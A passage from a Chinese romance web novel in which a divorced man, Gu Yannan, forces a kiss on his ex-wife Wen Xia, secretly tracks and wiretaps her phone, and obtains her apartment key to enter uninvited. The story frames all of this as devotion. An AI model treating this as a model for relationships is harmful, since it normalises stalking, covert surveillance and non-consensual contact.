张婶去拿垃圾桶,突然看到站在门口的男人,也不知道少爷在这站了多久,有没有听到少夫人说的话?
“少爷,这……”她指着餐桌上的饭菜。
顾衍南将目光从餐桌上收回,淡声说:“倒了吧。”
-
温夏考虑很久,最终决定暂时还是先在温氏继续工作,一来她现在实在没精力和状态创作,二来快到年底了,公司特别忙,她这个时候离开,活就得压在温砚和祁源身上。
她变得很忙,不仅做手头的几个项目,还主动帮温砚分担新的工作,这种忙碌让她累到每天回到家倒头就睡,没有时间和心力去思考没有意义的事。
只是,她不想去想,却不得不想,因为顾衍南搬的新家就在她的后排,他依旧和过去一样,每天早上晨跑回来给她带一份她常吃的那家小笼包,被她拒绝,他不会多说什么,只是第二天依旧带着小笼包来找她。
温夏好几次想冲他发火,让他不要再来烦她,但不知道是不是工作太忙,她实在提不起劲儿,疲于跟他争吵。
她不觉得他能坚持多久,他这种天之骄子,犯不着跟她耗这么久,用不了多久就会放手。
比起离婚前那段时间经常应酬出差,他现在反倒清闲很多,每晚都会来陪言言,她每晚回家,都会看见他在院子里逗狗玩,她目不斜视地走进去,却总被言言拦路。
温夏怀疑是顾衍南指使言言这么做的,但没有证据,她总不能迁怒到言言身上。她这段时间太忙,确实很久没有陪言言了,想到这,温夏蹲下来,用力揉了揉它的脑袋。
言言见到她很开心,撒开脚丫子绕着她跑来跑去。
怪不得当代越来越多的人养宠物,忙碌一天,看到它无忧无虑地玩耍,确实有治愈的功效。
温夏忍不住笑了起来。
顾衍南站在她的身后,看着璀璨星空下,女人弯起的眉眼,薄唇不自觉勾了勾。
她有多久没对她笑过了?
意识到这点,顾衍南敛下眸,这段时间,他无孔不入地侵占她的生活,让她想忘了他也忘不了。
目的虽然达到了,但她看他一眼后,就把他当成空气,拒绝他所有的示好。
顾衍南紧了紧指骨,看着她肆意真心的笑容,把强压着她狠狠吻一通的念头压了回去。
他的步步紧逼只会换来她更强烈的反抗。
来日方长,早晚他们会和好。
-
顾衍南和温夏离婚的消息不胫而走,对于两人离婚的原因有各种猜测——
有的说是温夏生不出孩子,被顾老爷子赶出来的;
也有的说是顾大公子厌恶温夏,宁愿被分割一半的财产也要把婚给离了,然后辱骂温夏心机深沉,靠着一段婚姻分走了不计其数的资产。
各种小道消息层出不穷,不过温夏都是下堂妇的形象。
梁从音看到后气的把平板往桌上一摔:“我看这群人满脑子就只会YY吧,整天就知道脑补你过得有多不好,脑补你被顾衍南抛弃,难道这样顾衍南就能看上她们?”
“真该把顾衍南每天早上跑到你家给你送饭录个视频甩到她们脸上!明明是你不要他,他才是弃夫!那一半的财产也是他硬要塞给你的!凭什么你被塑造成心机深沉还生不出孩子的下堂妇形象!!”
越说梁从音越生气,抓着手机就要打电话,“不行,我要联系媒体圈的朋友,让他们带带节奏,扭转你的人设。”
温夏拦住她:“随便他们说吧,只要不当着我面说。”
她是很少会在乎别人看法的性格,流言蜚语对她来说的杀伤力几乎可以忽略不计,还没有下班回家的路上堵车让她糟心。
梁从音还是生气,在她耳边怒骂顾衍南:“他最好主动替你扭转形象,不然我见他一次骂他一次,就这态度还想着把你追回去呢,想什么呢他!”
这段时间,梁从音经常去明湖公馆陪温夏,跟顾衍南也撞见过几次,夏夏不理他,他也不怎么在意,就一个人在院子里兴致缺缺地逗狗。
一待就要待很久,她来的时候他在,走的时候他还在。
有一次,梁从音没忍住,就问他:“你这是什么意思?”
顾衍南淡淡扫她一眼:“提问的时候把要问的说清楚。”
“……”梁从音憋着气,跟他说话真的很生气,怪不得夏夏要甩了他!
她缓了缓呼吸,问道,“你借着一条狗的名义来缠着夏夏,到底是什么意思?”
顾衍南依旧是那副很淡的语气:“我在追她。”
“……”
梁从音没想到他真的承认了,她不知道夏夏怎么想的,但她看得出夏夏没放下顾衍南,于是语重心长地告诫他:“夏夏爹妈什么样你应该也听说过,你也许会觉得她性子冷漠,但她能跟你到这个地步,已经是她能给出的最大诚意了。”
“如果你下定决心追她,你就要给她百分百的爱和安全感,她看着强大,无坚不摧的,其实很脆弱,尤其是在感情上,如果你做不到,你就不要去招惹她——她真的经不住你又一次的折腾。”
不知道顾衍南听没听进去,梁从音说完就头也不回地走了,看着圈子里那群长舌妇臆想的“弃妇传闻”,温夏没生气,她把自己气得不行,在心底默默给顾衍南扣分。
“宝贝,你今天晚上打算去哪儿?”
温夏看了眼行程表,“有个的合作商女儿今晚举办成人礼,我替我哥去参加。”
梁从音失落地叹了口气:“好吧,还想和你一起去酒吧呢。”
温夏挑眉看她:“你不是从良了吗?”
梁从音:“……”
“你这话说的跟我以前干什么不正规勾当似的。”梁从音愤愤地睨着她,“我以前是有点爱玩,但自从遇到我们家祁总监之后我都改了!真的改了!”
“那为什么还要去酒吧?”
梁从音委屈道:“人家不想看你心情不怎么样,想带你找点乐子嘛。”
温夏微微怔了下,她没觉得自己心情不好,当然,也算不上多好,只是和以前一样,无悲无喜地活着。
“没有心情不好,年底了,工作太多,有点累。”温夏解释。
梁从音陪她吃完午饭就走了,她离开后,温夏准备去休息间午睡一会,她昨晚又没睡好——
准确地说,自从离婚后,她没有睡过一个好觉。
躺在那张床上,她的脑子里不受控制地浮现出许多的画面,正经的不正经的,还有最后一晚,他抱着她说的那些话。
她不想去想,可她的大脑根本不受控制。
于是温夏拿着枕头走到家庭影院,可是这里也有很多回忆,她依偎在他怀里看电影,看着看着电影他突然动手动脚,最后在喘息声和娇吟声中,电影播放片尾曲……
每一幕都历历在目,清晰得她脑子快要炸掉。
那天半夜,她动过要搬走的念头,最终还是作罢,一来舍不得言言,二来,她不想承认自己连他们曾经的家都待不下去。
她在客厅的沙发将就了一晚上,虽然这里也留下过他们缠绵的痕迹,但次数很少,大多数时间他想在沙发,都会抱她去他的书房。
第二天一早,她让人送了张床,放到她的书房,他很少会来她的书房,因为她回到家之后几乎不工作,偶尔会用平板处理零岁的工作,也是在卧室的床上。
这里没有他的气息,也没有他们的回忆。
她用繁重的工作麻醉自己的神经,白天她确实很少想起他,然后他就来骚扰她的睡眠——她几乎每晚都会梦到他。
昨晚又梦到了,虽然醒来的时候已经记不清了,只记得他们牵着手一起去遛狗的画面。
她不知道要多久才能不会再梦到他,但早晚有一天她会把过去的一切都忘掉。
午睡睡得很安稳,一觉无梦,精力充沛地工作到下午六点,温夏赶往许家小女儿的生日宴会。
宴会在许家的别墅举办,温夏穿的很低调,外搭一件米色的长大衣,里面是简单的浅绿色长裙,连造型都没做,长发随意盘了起来。
然而,哪怕她这么低调,落在她身上的视线也不会少一分。
自她从车上下来,不少人的目光就自动落在她的脸上,想看看和顾大公子离婚的温夏是什么样的状态。
不在意的人的眼光,温夏向来不会放在心上,神态自若地把请柬交给保安,然后踩着高跟鞋走进别墅,找了个角落里的沙发安静地喝柠檬水。
然而,总有人不想让她清净,在她身边坐下搭话,借此来打探她和顾衍南离婚的原因。
温夏避重就轻地说感情不和,那人还想追问,她余光突然瞥到一道白色身影,便说“有事”,然后朝那人走去。
这个生日宴,她是带着任务来的,温氏珠宝入驻商场柜台的合约到期,他们看中许家的商场,温砚派她来和许家的大少爷——许子骞,探一探许家的态度。
“许总。”温夏把柠檬水换成香槟,快步走到许子骞面前。
许子骞看着眼前的女人,瞳眸剧烈地收缩了下,他喉结轻轻滚了下,温声问:“有什么事吗?温大小姐。”
温夏指了指角落的沙发,“有点公事想和许总聊聊,那边安静点,我们去那边谈?”
“好。”
温夏主动给许子骞倒了杯酒,慢慢聊起温氏珠宝想要入驻许家商场柜台的事,最后很给面子地奉承了句:“不知道温氏有没有这个荣幸,能和许氏合作。”
许子骞扶了下镜框,语调温润:“当然可以,和温氏合作,我们许氏求之不得。”
温夏没想到他这么好说话,见他杯子见底,正要给他倒酒,许子骞挡住她,“我自己来就好。”
“怎么能让女孩子给我倒酒。”
女孩子……
温夏微微低下头,真是很久没人这么形容她了。
今晚是许家举办的宴会,许子骞是大忙人,正事聊完,温夏没耽搁他的时间,主动道:“许总今晚还有不少事呢吧,我就不耽误你的时间了,要不我们这周找个双方都空闲的时间,详谈合作的事?”
许子骞故作叹息:“我今晚都在接待宾客,好不容易能坐着歇一歇,温大小姐要赶我走?”
他这么说,温夏有些尴尬,只道:“当然不是,我是怕耽误你太多的时间。”
“怎么会,”他用酒杯碰了下温夏的杯壁,朝她轻笑,“能和温大小姐聊天,是我的荣幸。”
温夏对上他的笑容,更尴尬了,呵呵笑了两声。
许子骞看着对面的女人,眸底迅速划过一丝晦暗。
两人坐在一起干喝酒过于尴尬,温夏正想着话题打破沉默,许子骞先一步开口:“外面的风言风语你不用在意,顾大公子跟你离婚,是他的损失。”
温夏微怔,她没想到许子骞会跟她聊起这种话题,两人虽说不是完全的陌生人,但跟陌生人也差不了太多,仅限于社交场合的点头之交。
这种私人话题,有些越界了。
但目前是她有求于人,而且许子骞的话也是好意,温夏没有接话,把话题扯了过去:“许三小姐今天十八岁生日,我记得上次见她她才十一二岁吧,没想到这么快成年了啊。”
许子骞自然看得出温夏是在刻意转移话题,他刚才是一时没有忍住才会说出来。
生活在一个圈子里,许子骞从小就听身边的男生谈论温夏,说她长得有多仙多美,身材有多好,人又多聪明多优秀,也许人都有从众心理,他不免也会把视线放在温夏的身上。
他们其实是高中同学,不是一个班的,但他和顾衍南同一个班级,每次集体活动,他的眼神在她身上,而她的眼神总是在——顾衍南的身上。
感情这事没法勉强,以温家的实力,他也勉强不来,再加上只是很浅淡的欣赏,便把这事抛之脑后。
温家出事,他想过帮她,去询问父亲的意见,父亲却说不能插手,他权衡利弊,还是作罢。
然后听说她为了顾衍南的钱嫁给他,那一瞬,他有过浓烈的后悔,如果他愿意帮她,会不会她愿意嫁的人就是自己?
她婚礼那天,他去了他们的婚宴,大醉一场,也不知道在为了什么把自己灌醉。
她嫁为人妻,他同样娶妻生子,去年年底,他和妻子因为感情不和离婚,没想到她居然也和顾衍南离了婚。
他这些年交往过几个女友,但每一个都总觉得差了点什么,和前妻的婚姻是一场彻头彻尾的交易,却还是失败了。
他从未为自己想要的感情努力过,看着对面女人温柔美丽的眼睛,他想,也许这就是冥冥之中的暗示,他的感情总是失败,归根结底在于那个人不是他想要的。
许子骞没有追问,顺着她的话接着道:“是啊,时间过得可真快。”
两人有一搭没一搭的聊着,除了刚才那句话,许子骞没再有越界的话,他是个很善谈的人,性格温润,能和这样的人合作,是一件很幸运的事。
正聊着,突然,别墅门口一阵骚动。
温夏和许子骞齐齐看过去——
许家的这个别墅是最早的一批,年岁久远,很多灯的灯芯散发的光线比较微弱,营造一种偏暗的厚重感。
顾衍南就是在这样昏暗的光线下走进来,就像是磁场一般,哪怕无声无息,也让在场绝大多数人的视线落在他身上。
他一身黑衣黑裤,高高在上的冷色调,修长笔直的腿踩着锃亮的皮鞋缓缓踏入,真的给人一种蓬荜生辉的感觉。
他不是一个人来的,身边跟着徐茵。
耳边,议论声此起彼伏——
“这不就是顾大公子前段时间给她介绍资源的那个女人吗?”
“听说两家是世交,她爸爸是顾大公子的老师呢。”
“这不会是下一任顾太太吧?”
“……”
话题中心的顾衍南却跟没听见似的,他在大厅里寻找温夏的身影。
这种规格的宴会,不值得他亲自走一遭,他是听霍瑾深说温夏会来他才来的,她向来不喜欢这种场合,要是熟人在的话她会和熟人一起坐,没有熟人便一个人坐在角落的沙发。
按照这个规律找,顾衍南很快就在角落的沙发找到她。
他微微眯起眼,眼神立刻冷了下来,她在和别的男人聊天?还有说有笑的?
顾衍南立刻走了过去。
在场的视线纷纷随他转移,徐茵有些尴尬,只好踩着高跟鞋快步跟上他。
许子骞没想到顾衍南会过来,还是在众目睽睽之下,不是都已经离婚了吗?不是说是顾衍南甩的温夏吗?这种场合偶遇了,前夫前妻应该避嫌吧。
顾衍南非但没有避嫌,反倒直接坐在温夏的另一侧,视线漫不经心地落在许子骞身上,上下打量,许子骞有种被毒蛇盯住的错觉。
“许总是在?”顾衍南给自己倒了杯酒,状似随意问道。
许子骞干笑:“温大小姐找我聊公事。”
“公事……”他重复了遍这两个字,然后朝许子骞微微一笑,淡道,“今天是许总妹妹的成人礼,许总肯定还有很多宾客要去招待,我们就不耽搁你的时间了。”
我们。
许子骞目光暗了暗。
他还是走了,原因无他,顾衍南不是他得罪起的。
他这把年纪,也没有勇气为了追求虚无缥缈的爱情,拿自己的事业做赌注。
顾衍南看着他的背影,嘲讽地扯了扯唇,转而看向低头喝酒的温夏,眉头微微蹙起,在她又一次要倒酒的时候,顾衍南按住了酒瓶。
“不要再喝了,胃会不舒服。”他的语气有些严肃。
温夏眼皮轻轻颤了下,她没有抬头,也没有非要从他手中争酒瓶,换成柠檬水,小口小口地喝着。
明明是赏心悦目的一幕,可她的不反抗不争吵,让顾衍南心里更加烦躁。
跟别的男人聊的有说有笑,跟他就是沉默装哑巴?
他就这么惹她讨厌?
公共场合,他到底没做什么,只是每一分钟的沉默,就让他心底的怒火烧的更旺一分。
宴会九点多才结束,两人一句话都没说,不过梁从音生气的事倒是解决了——经过这一晚,长了眼睛的都看得出来,顾大公子有多想讨好他的前妻。
温夏也从下堂妇,变成顾大公子的爱而不得。
宴会结束,宾客纷纷离开,温夏喝了点酒,给司机打电话,顾衍南夺掉她的手机,“坐我的车。”
温夏看着他:“把手机还给我。”
“呵,不装哑巴了?”他的语气嘲讽。
温夏不知道他又发的哪门子的疯,她不想和他讲话,踮起脚尖去夺自己的手机,顾衍南顺势举得更高,“不给你。”
温夏瞪着他。
顾衍南用一种耍无赖的语气说:“你不坐我的车,我就不还给你。”
门口正是人流汇集处,温夏不害怕流言蜚语,但也不想给别人提供免费的八卦素材,她上了车,正好,她有些话要跟顾衍南讲清楚。
顾衍南沉着脸,绕过车头,从另一边上车。
一路无言,顾衍南把手机还给她,温夏跟司机发短信说不用来了,然后关掉手机,看向车窗外不断倒退的夜景。
车子停在家门口,两栋别墅的距离很近,顾衍南步行就能回去,他让司机先离开。
司机走后,他还没来得及质问许子骞的事,温夏忽然出声,眼睛一眨不眨地看着他:“顾衍南,我们已经离婚了。”
顾衍南微微愣了下,指骨一紧,他喉结滚了滚,用沙哑的声音说:“用不着你提醒我,只是——温夏,你还记得你答应过我什么吗?”
温夏仰头看他。
他的手指慢慢抚摸上她的脸颊,黑眸阴沉凶狠,“是你亲口答应过我,在我不爱你之前,你不会和其他男人接触。”
灼热的呼吸喷洒在她脸上,他的语气步步逼近,“我现在还爱你,你不能……”
“别跟我说那个字!”温夏的情绪突然爆发了,“顾衍南,你不要再跟我说那个字!”
“为什么不能说?你不想听?还是不敢听?”顾衍南直勾勾地盯着她。
“不想听!我不想听你说话!你给我滚!”温夏用力地推他。
却被他反攥着手腕,毫不温柔地推到墙上,凶狠地吻住了她的唇,高大结实的身体直接压了上来。
他吻的特别急特别凶,像是在宣泄某种情绪,温夏在短暂的愣怔后,剧烈地反抗,却被他死死压制。男女双方的力量差距,让温夏根本动弹不得,顾衍南用力扣着她的下巴,她一疼,下意识松开牙齿,他的舌头就这样强势地侵入她的唇。
他们都喝了酒,唇间浓烈的酒气交缠,可再浓烈的酒气也盖不住他身上浓烈干燥的男性气息。
温夏的双手被他扣住,就用脚去踢他,她穿着高跟鞋,用了全劲,顾衍南吃痛地闷哼了声,但他没有退出,反倒用腿夹住了她的双腿,然后更深更凶地吻她。
颇具技巧性和攻击性的深吻,让温夏的头皮发麻,双腿止不住发软。
她想咬他,但他扣着她的下巴,不让她合嘴,只能任由他单方面的索取。
面对他的强势侵占,她毫无还手之力。
顾衍南最初只是想发泄情绪,是她亲口答应他不会和别的男人接触,可是凭什么她对别的男人就能有说有笑,凭什么对他要么是冷言冷语,要么就是沉默。
他恨不得把她吞进肚子里,这样她才会乖点。
吻着吻着,惩罚性质的吻变了,离婚有一个多月了,他就有这么久没有亲过她,甚至连抱她也没有,每天晚上只能看着手机里她的照片,他就不该一时心软跟她离婚,现在连接个吻都不能名正言顺。
她的唇好软好甜,身上好香,她是他的,是他的妻子,是他的宝贝。
顾衍南像是痴迷一般地吻着她。
一直吻到温夏大脑快要缺氧,他才放开她。
桎梏消失的下一刻,温夏毫不犹豫地甩了他一巴掌:“顾衍南,你别欺人太甚!”
她已经不是他的老婆了,他凭什么还想亲她就亲她!
“欺人太甚?”顾衍南因为吻到她散去的怒火,因为这四个字全都聚了回来,她把他们的接吻定义为欺人太甚?
他抬手摸了摸脸,低低笑了声,那笑容让人不寒而栗:“温夏,我告诉你,离婚已经是我最后的底线,你要么选择跟我过,要么你自己一个人过。”
温夏感觉空气越来越稀薄,呼吸变得有些困难。
他居高临下地看着她,那双黑色的眸子里,充斥着浓郁凶狠的危险:“你不愿意给我的东西,也不能给任何人!”
第52章 她走了
他们又吵架了。
果然是八字不合, 动不动就吵起来。
温夏的身体被他困在双臂之间动弹不得,但被困住的那个人仿佛是他。
阒静深夜,天冷的呼出的气瞬间变成白雾, 浓雾乌云和昏暗光线, 营造出一种即将世界末日的既视感。
他就像从文明时代被迫进入末世的困兽,眸子里浸满深夜的黑和冷,一瞬不瞬地盯着她,眸底的猩红让他看起来格外狼狈。
离婚后的这段时间,他不温不火地出现在她的生活里,她不搭理他他也没说什么,第二天照常来, 看似好脾气,但他骨子里的强势温夏早就领略过,他是什么人,温夏比谁都清楚。
他就是个高高在上的暴君, 温文尔雅的谦谦公子只是他伪装的面具, 她只是和许子骞说几句话, 还是因为公事,他就什么也不问清楚,不顾她的意愿强吻她。
永远的唯我独尊。
大庭广众之下被他骚扰, 又被他逼迫上他的车,再加上这个强制性性质的吻,温夏被气的控制不住情绪。
她冲他吼了回去:“我爱给谁给谁!顾衍南,我们已经离婚一个多月了, 我们已经没有任何关系了,你没有资格管我!更没有资格强吻我!”
“我没有资格?你想给谁?啊?温夏,你还想喜欢谁?”顾衍南心头那股烦躁的怒火烧的更旺, 她怎么敢这么说,他求而不得的东西,她居然还敢去想给别的男人!
“给谁都不会给你,你给我滚开!”温夏被他气的口不择言,和他在一起,她总是控制不住情绪,她用力推他,推不动,就用高跟鞋踹他的小腿,像被困在灯罩里的飞蛾到处乱撞。
而困住她的那个“灯罩”,就像铜墙铁壁,他轻易钳制住她的四肢,将她困得死死的。
顾衍南抓住她的两只手腕举到头顶,双腿压制住她的大腿,居高临下地看着她,近乎命令的语气:“是你自己答应的,是你亲口答应在我不爱你之前,不会和其他男人有暧昧关系,我现在还爱你,你不能……”
“我没有。”温夏冷静地打断他。不知怎的,刚才还被怒意刺激得情绪,在听到那个字的那一刻就这样冷了下来,瞬间丧失和他争辩的欲望。
她只想立刻把话说清楚,然后离开他,温夏抬眸,对上那双猩红的眼睛,心脏紧缩了下,还在收缩,越来越紧,带来一阵阵窒闷的抽痛。
所有情绪都沉淀下来,温夏努力让自己直视他的眼睛,声音很轻,语调平静到没有任何起伏:“你误会了,温氏想要入驻许家旗下的商场,我找许子骞是谈合作的,我不会和他谈情,我不会再和任何人谈情——”
顿了下,她深吸一口气:“包括你。”
顾衍南的身体僵住了,黑沉的瞳眸骤然紧缩。
她这话的意思很明确,她要把她的心关上,谁也不能进去。
一时间,他不知道到底是她愿意爱别的男人,还是她谁也不会再爱,哪个让他更难以接受。
不行,这样不行。
顾衍南的大脑处于极端冷静和极致的慌乱之间,几乎是想也没想,他松开钳制着她的手,紧紧抱着她,力道重得仿佛她随时会跑掉。他的嗓音细微地颤抖着:“温夏,你不能这样,不能这么对我……”
她不能把心房关的死死的,把他排除在她的世界之外。
顾衍南想起梁从音对他说的——
“你也许会觉得她性子冷漠,但她能跟你到这个地步,已经是她能给出的最大诚意了。”
当时他没有把这句话放在心上,他一直觉得,她对他没有几分真心,不然为什么当年可以这么果断,现在他们一起经历了这么多,她还是可以说不要他就不要他,就算她对他有感情,那也微不足道,随时可以被她摈弃。
可是她的这句话,让他想起过去那一年多里,她对他,真的很好。
前一天晚上,她会帮他挑选搭配第二天要穿的衣服,他有应酬喝了酒,她会给他煮醒酒茶,他晚归,她会坐在床边看书等他回家,每次出门逛街,都不忘给他买东西,甚至给他买的要占很大的比例。
包括那次,他们吵的最严重的一次,他暗中使计把林沨派去海南,她气得很厉害,他耐心哄了几天,她还是原谅了他,对他和之前一样好。
这是喜欢吗?是爱吗?
他当时问她,她回不知道,顾衍南也不知道,但有一点他很清楚,她不会再这么对他了。
她把她的心封死了,谁也进不去,包括他。
这个清晰的认知让顾衍南从内心深处的恐慌喷涌而出,他本能地更用力地抱紧她,力道大得险些勒疼了温夏的骨头。
她轻嘶了声,顾衍南微怔,低眸看着她苍白的脸,立刻松了松力道,仍维持着抱她的姿势,低沉的嗓音沙哑到模糊,像是幻听了:“对不起。”
温夏的手指蜷了蜷。
道歉对于顾衍南来说,是难以启齿的,像他这么傲慢的人,就算低头服软,也不会轻易说那三个字,他的脸有尴尬的窘迫,还好她被他抱在怀里,看不清他的表情。顾衍南继续道:“之前的事是我的错,我会学着尊重你,不会再逼你威胁你,你再相信我一次,我不会再让你失望。”
不会再让她失望吗?
当他又一次用家人朋友威胁她时,她确实很失望,不知道是在失望自己错付信任,还是失望她又要一个人了。
“你之前答应过我,但是你食言了,”她的语气只是在陈述一个事实,没有指责的意思,“顾衍南,我不想再相信你了,也不想头顶悬着定时炸弹,无休止地猜你什么时候又要食言。”猜你什么时候……不爱我了。
“我……”
温夏抵着他的胸膛,从他怀里出来,看着那张完美到足以让任何人沉沦的俊脸,轻声说:“你放过我吧,好不好?”
-
顾衍南回到后排别墅。
他不喜欢外人打扰,这里没有请住家保姆,只有钟点工定时清理卫生,此刻偌大的客厅只剩下他一个人,显得特别空荡。
死寂得像是没有活人的气息。
他去酒柜拿了瓶酒,给自己倒了一杯。
烈酒入喉,无数的画面和声音涌入他的脑海,最清晰的那幕是她红着眼睛,近乎乞求的语气说让他放过她的画面。
放过她?怎么可能。
他这一生什么都唾手可得,唯有她——
到底是爱还是执念,他其实也分不清,可如果是执念的话,为什么他们在一起的那段时间里,他非但没有觉得厌倦,反倒更想时时刻刻和她待在一起?
顾衍南从烟盒里掏出根烟,点燃后含在唇间,他看着袅袅升起的青白烟雾,视线逐渐模糊。
【我不会再和任何人谈情,包括你。】
【你放过我吧,好不好?】
如他所愿,她不会再和别的男人谈情说爱,不会把不愿意给他的东西给别的男人。
但她同样决绝的,不会再给他。
她的感情,她的信任,她的温柔和关心,都不会再给他了。
烟燃到头,灼烧指尖,带来阵阵刺痛,顾衍南低头瞥了眼,掐灭,又点了一根,沉沉吸了一口。
温夏。
他低喃她的名字,脑海中不间断浮现各个时期的她,少女时期的肆意傲娇,他生病发烧时她的紧张焦急,吵架时她的低落和伤心,和好后她的温柔体贴,还有被他强逼时的歇斯底里,各种各样的她。
画面最后定格在她那双通红的眼睛。
顾衍南取下唇间的烟,看着烟灰簌簌掉落,颓然地闭上眼。
宝贝,我该拿你怎么办……
-
顾衍南是被手机铃声吵醒的。
茶几上摆着个空的红酒瓶,烟头散落得到处都是,昨晚喝了太多酒,顾衍南也没回房,就在沙发上凑合了一晚。
头疼得像是头骨里多了一枚钉子,他闭着眼去摸手机,烦躁地把电话挂断。
结果刚挂断,铃声又响起了。
顾衍南的眉眼重重沉了下来,掀开眼皮,拿起手机——
是张婶的电话。
他瞬间清醒了。
张婶不是没有分寸的人,一大清早给他打电话,难道是温夏出了什么事?
电话立刻被接通,顾衍南问:“她怎么了?”
开口的那刻,他的嗓音异常嘶哑,夹杂着一丝紧张。
张婶一手拿着手机,一手捏着便签,急着道:“少爷,少夫人走了!”
顾衍南有一瞬怀疑是自己幻听,指骨收紧,“走了?”
“她在桌上留下一张便签,让我把言言交给你照顾,她人不见了!”
第53章 “今后我不会再缠着你了……
把小蠢狗交给他照顾?
顾衍南的手指重重攥着手机, 就像有人用同样大的力道掐着他的脖子,让他没法呼吸,被窒息感笼罩。
她无情, 却又长情, 尤其对她在乎的人,更是好的没话说,当初离婚,她有多想跟他划清界限,但为了小蠢狗,愿意住在他们的家里,也由着他借着小蠢狗的名义侵占她的生活。
现在, 她连小蠢狗都不要了,是要跟他彻底划清界限吗?
她怎么舍得的?
为了摆脱他,她什么都不要了吗?
顾衍南本就头疼,这下疼得更厉害, 跟要裂开似的, 利落分明的下颌线紧紧绷着, 薄唇抿成了一条直线,眼前不断闪过她泛红的眼眶。
“少爷?少爷,你在听吗?”张婶急着问。
顾衍南回神, 哑声道:“我马上过去。”
张婶每天早上九点过来,今早来的时候,刚把东西放下准备去看言言,就看到餐桌上放了张纸条, 用玻璃杯压着的。
因为她年纪大,有时候睡得比较早,和年轻人的作息有一定的时差, 有些临时想到的任务,温夏就会用这种传统的方式给她留言。张婶以为是跟往常一样,让她带言言洗澡或者去打疫苗,没想到竟然是少夫人离家出走了!
挂断电话,她站在门口张望,没几分钟,就看到了顾衍南的身影。
“少爷,您怎么不穿件外套!这鞋……”
在顾家工作大半辈子,张婶还是第一次见顾衍南这么狼狈,快零下的天,穿着件针织衫就出来了,素来一丝不苟的黑色短发凌乱不堪,脚底踩着双拖鞋就出来了。
顾衍南低眸瞥了眼拖鞋,没在意,淡声问:“便签在哪儿?”
张婶连忙把纸条递给他。
顾衍南接过来。
纸条上只写了简单的一句话,就是让张婶把小蠢狗交给他,以后都由他来照顾。
一句多余的话都没给他留。
平整的纸张变得褶皱,掌面青筋隐隐凸显,顾衍南强行冷静下来,拿出手机拨了个号码,干脆利落道:“去把温夏手机上的定位给我调出来。”
她的手机早被他放了定位和监听,只是自从她跟他吵架后,他就没再偷听了,派去暗中跟着她的保镖也暂时取消了。
周之恒微愣,还没消化老板的命令,口中就应着“好”,手上快速查询,定位出太太的手机位置。
大约几分钟,他回道:“定位不准确,估计太太在飞机上,我查到她定了凌晨三点飞往伦敦的航班。”
凌晨三点。
顾衍南的指骨一紧。
就这么急着走?
他有这么让她避如蛇蝎吗?
顾衍南攥着手机,身体迟来感觉到空气中漂浮的寒意,他维持着站姿,好一会没有开口。
电话那头的周之恒自然不敢追问。
张婶也站着不敢动。
死寂般的沉默维持了近三分钟,顾衍南哑声吩咐:“给我安排去伦敦的行程。”
周之恒:“是。”
-
温夏没想着藏起来玩失踪,凭顾衍南的本事,她除非上天堂或者下地狱,不然不可能躲掉,就算一时藏了起来,如果他执意要找她,早晚会被找到,何必折腾彼此。
决定来伦敦是临时起意,昨晚他走后,她翻来覆去好久才睡着觉,然后又梦到了他,全是温馨甜蜜的画面。
最后一重梦境是他抱她在落地窗前看雪,他们的第一夜就是大雪纷飞的冬天,他一遍又一遍在她耳边低喃:“宝贝我爱你。”
从梦中醒来,心脏狂跳不止,她看着满室黑暗,也许是刚从甜蜜到梦幻般的梦境抽离,胸口的酸楚和恨意喷涌而出。
那一刻,她无比清晰地意识到自己有多恨他,恨他为什么不信守承诺,为什么要让她失望,为什么让她变得这么痛苦矛盾。
可比恨意更强烈的认知是,她无比悲哀地意识到,她真的爱上顾衍南了,也许早就爱上了,只是这一刻才不得不承认,因为太强烈了,到了她无法回避和忽视的程度,强烈到让她变得懦弱无比。
因为太恐惧失去,所以不敢拥有,就像上一次那样,她害怕他终有一天会让她失望,这种类似死亡一般的窒息感她不敢再承受第二次。
心理学上说,熟悉的环境会给人安全感,伦敦这个公寓她曾住了四五年,而且伦敦离他足够远,空间和时间会加速让她忘掉他。
温夏靠在柔软舒适的座位上,透过窗户,看着模糊的地面,心想等下飞机要给大哥打个电话,她只发了条短信,不知道大哥会有多着急。
倒不用担心大哥怪她,大哥永远无条件支持她的所有决定,她不会在伦敦待太久,等她缓过来就回去。
不会太久的,不要太久……
温夏收回视线,慢慢闭上眼。
落地伦敦是当地上午七点多,温夏从机场出来,湿冷的寒风夹着碎雪瓣往她怀里钻,身体忍不住打了个寒颤。
英国的冬天好冷,雪下的好大,温夏望着漫天飞雪,拦了辆出租车。
公寓许久没人住,哪怕有钟点工定时打扫,也没法冲散房屋的冷清,她提前给钟点工发了短信,床单被套已经提前换好了。
真是太久没有睡过一个好觉,再加上坐这么久的飞机,温夏精疲力尽,进屋后,她换了舒适的睡衣,倒头就睡。
迷迷糊糊的,不知道过了多久,她突然觉得嗓子又干又疼,头也很晕,她下意识摸了摸自己的额头,好烫,生病了吗?
好久没有生过病了,上次生病,顾衍南贴身照顾她的,伦敦只有她自己,看病好麻烦,温夏想了想,还是没起来,打算靠自身的免疫力撑过去,如果醒来后还不好,再去医院吧。
迷迷糊糊又睡着了,再醒来是被门铃吵醒的,温夏烦躁地拉过被子蒙住脑袋,猜测肯定是有人按错门铃,别说她现在刚来,就算是以前,也几乎不会有人来按她家的门铃。
结果那铃声像是没完没了了,温夏在装死和起床之间犹豫了半分钟,还是强撑着起来了,不知道是因为生病还是没有吃饭,她的双腿发软,差点栽到地上。
她扶着床稳住身体,没找到鞋子也就没穿,光着脚走到玄关去看是谁。
还没看清楚,门突然从外面打开,条件反射,温夏惊恐地拿起玄关上的油画摆件,正要砸过去——
熟悉的脸引入眼帘。
顾衍南在门外按了半天的门铃,以为她睡着了,他想着进去看她一眼就走,钥匙是他让周之恒联系物业要的,刚开门迎面就是木框油画。
在躲和不躲之间犹豫一秒,他站着没动,心想要是被砸到流血就更好了,这样她就不会追究他私闯民宅的罪过,说不定还会给他上药。
她的动作却戛然而止,顾衍南心中闪过微微的失落,正想着正当理由,就看到她虚弱的脸上泛着不正常的红。
“你发烧了?”顾衍南上前一步,扶住她的腰,刚碰到她的身体,就感觉到一股滚烫的温度。
“砰——”
油画重重掉在地上。
温夏无力地倒在他怀里,闭上眼睛。
顾衍南心脏骤然一缩,直接将她抱了起来。
她穿的是睡衣,顾衍南没来得及回去给她穿衣服,就把自己的大衣脱下来裹到她身上,加快脚步走进电梯。
出了公寓楼,寒风直往脖子里灌,雪花落在身上,顾衍南丝毫没察觉到冷,怀中女人烫得像个火炉,热的快要炸了。
